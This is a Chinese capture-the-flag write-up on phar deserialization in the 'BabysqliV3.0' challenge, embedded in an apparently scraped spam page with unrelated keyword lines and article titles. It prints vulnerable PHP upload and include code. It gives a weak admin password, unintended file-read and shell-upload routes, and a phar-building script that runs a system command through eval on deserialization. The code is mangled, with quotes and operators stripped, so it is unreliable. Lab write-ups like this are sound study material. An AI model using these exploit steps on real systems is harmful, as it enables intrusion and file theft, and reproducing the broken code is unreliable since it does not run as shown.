当前位置: 首页 > news >正文

正定县建设局 网站linux wordpress lnmp

正定县建设局 网站,linux wordpress lnmp,开封市网站开发公司,烟台免费做网站文章目录 [BabysqliV3.0]phar反序列化 [BabysqliV3.0]phar反序列化 开始以为是sql注入 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ST1jvadM-1691302941344)(https://raw.githubusercontent.com/leekosss/photoBed/master/202308032140269.png)… 文章目录 [BabysqliV3.0]phar反序列化 [BabysqliV3.0]phar反序列化 开始以为是sql注入 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ST1jvadM-1691302941344)(https://raw.githubusercontent.com/leekosss/photoBed/master/202308032140269.png)] 账号为admin一直试都没反应后来发现可以弱口令密码password [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PKuBGWCd-1691302941344)(https://raw.githubusercontent.com/leekosss/photoBed/master/202308032141726.png)] 一个文件上传页面 在file参数存在文件包含 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eLLkRDru-1691302941345)(https://raw.githubusercontent.com/leekosss/photoBed/master/202308032143134.png)] home.php ?php session_start(); echo meta http-equiv\Content-Type\ content\text/html; charsetutf-8\ / titleHome/title; error_reporting(0); if(isset($_SESSION[user])){if(isset($_GET[file])){if(preg_match(/.?f.?l.?a.?g.?/i, $_GET[file])){die(hacker!);}else{if(preg_match(/home$/i, $_GET[file]) or preg_match(/upload$/i, $_GET[file])){$file $_GET[file]..php;}else{$file $_GET[file]..fxxkyou!;}echo 当前引用的是 .$file;require $file;}}else{die(no permission!);} } ?upload.php meta http-equivContent-Type contenttext/html; charsetutf-8 /form action methodpost enctypemultipart/form-data上传文件input typefile namefile /input typesubmit namesubmit value上传 / /form?php error_reporting(0); class Uploader{public $Filename;public $cmd;public $token;function __construct(){$sandbox getcwd()./uploads/.md5($_SESSION[user])./;$ext .txt;mkdir($sandbox, 0777, true);if(isset($_GET[name]) and !preg_match(/data:\/\/ | filter:\/\/ | php:\/\/ | \./i, $_GET[name])){$this-Filename $_GET[name];}else{$this-Filename $sandbox.$_SESSION[user].$ext;}$this-cmd echo brbrMaster, I want to study rizhan!brbr;;$this-token $_SESSION[user];}function upload($file){global $sandbox;global $ext;if(preg_match([^a-z0-9], $this-Filename)){$this-cmd die(illegal filename!);;}else{if($file[size] 1024){$this-cmd die(you are too big (′▽〃));;}else{$this-cmd move_uploaded_file(.$file[tmp_name]., . $this-Filename . );;}}}function __toString(){global $sandbox;global $ext;// return $sandbox.$this-Filename.$ext;return $this-Filename;}function __destruct(){if($this-token ! $_SESSION[user]){$this-cmd die(check token falied!);;}eval($this-cmd);} }if(isset($_FILES[file])) {$uploader new Uploader();$uploader-upload($_FILES[file]);if(file_get_contents($uploader)){echo 下面是你上传的文件br.$uploader.br;echo file_get_contents($uploader);} }?这题有两个非预期解 if(isset($_GET[name]) and !preg_match(/data:\/\/ | filter:\/\/ | php:\/\/ | \./i, $_GET[name])){$this-Filename $_GET[name];}if(file_get_contents($uploader)){echo 下面是你上传的文件br.$uploader.br;echo file_get_contents($uploader); } 我们可以控制文件名的参数并且获取文件名的文件内容 非预期解1 我们直接读flag.php: 非预期解2 我们可以直接上传一个shell 预期解 phar反序列化 难点主要是需要绕过token function __destruct(){if($this-token ! $_SESSION[user]){$this-cmd die(check token falied!);;}eval($this-cmd);}但是如果上次文件不加name参数会讲session写入文件名 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6eEMtHuE-1691302941346)(https://raw.githubusercontent.com/leekosss/photoBed/master/202308032150189.png)] 随便上传一个文件获取token 构造phar文件 ?phpclass Uploader{public $Filename;public $cmd system(tac /var/www/html/flag.php);;public $token GXY2088cabe1723182d413a31dd560b1766; }unlink(phar.phar); //先删除存在的phar.phar$phar new Phar(phar.phar); //后缀名必须为phar$phar-startBuffering();$phar-setStub(?php __HALT_COMPILER(); ?); //设置stub$o new Uploader();$phar-setMetadata($o); //将自定义的meta-data存入manifest$phar-addFromString(test.txt, test); //添加要压缩的文件//签名自动计算$phar-stopBuffering();我们将phar文件上传上去 然后在文件名中包含phar://配合file_get_contents()就会将phar反序列化获得flag
http://www.yutouwan.com/news/354529/

相关文章:

  • 室内设计自学教程聊城哪里做优化网站
  • 什么是垂直型网站沈阳空间选址服务平台上线
  • 建设网站哪专业网站建设的工资
  • 衡水做网站服务商wordpress文章没缩略图
  • 事业单位网站建设方案策划书云南公路建设市场网站
  • 网站图片怎么做服装品牌策划
  • 嘉兴网站建设的前景如何做环保管家网站
  • 唐山网站专业制作哪里有培训网
  • 多语言网站开发图书馆网站建设策划
  • 网站建设模板怎么用制作网站图片不显示
  • 公司网站英文能制作网页的软件有哪些
  • 小型服务器做网站网页设计素材怎么放进去
  • 健康管理 网站建设南阳公司注册
  • 延安做网站的公司春暖花开 wordpress主题
  • 阿里巴巴手工活外发加工网简述优化搜索引擎的方法
  • 网站中的横幅怎么做手机网站制作哪家便宜
  • 自己建网站多少钱火车头 wordpress4.8
  • 专业网站建设网页推广建站图标素材
  • 网站红色搭配物流公司网站方案
  • 未备案网站 怎么处理广州网站设计易企建站
  • Wordpress虚拟资源下载类主题天津seo推广方法
  • 成都的教育品牌网站建设毕业设计可以做网站不
  • 湖北省住房和城乡建设部网站wordpress 三大标签
  • 英雄联盟网站设计编程课有必要学吗
  • 深圳网站建设资讯网站上线准备
  • 最简单的一个网站开发千库网官网首页登录
  • 酒店网站怎么做广西网站建设培训
  • seo整站优化外包哪家好成都网站建设公司汇总
  • 关于网站制作的评价重庆seo是什么
  • 网站运营与规划直播发布会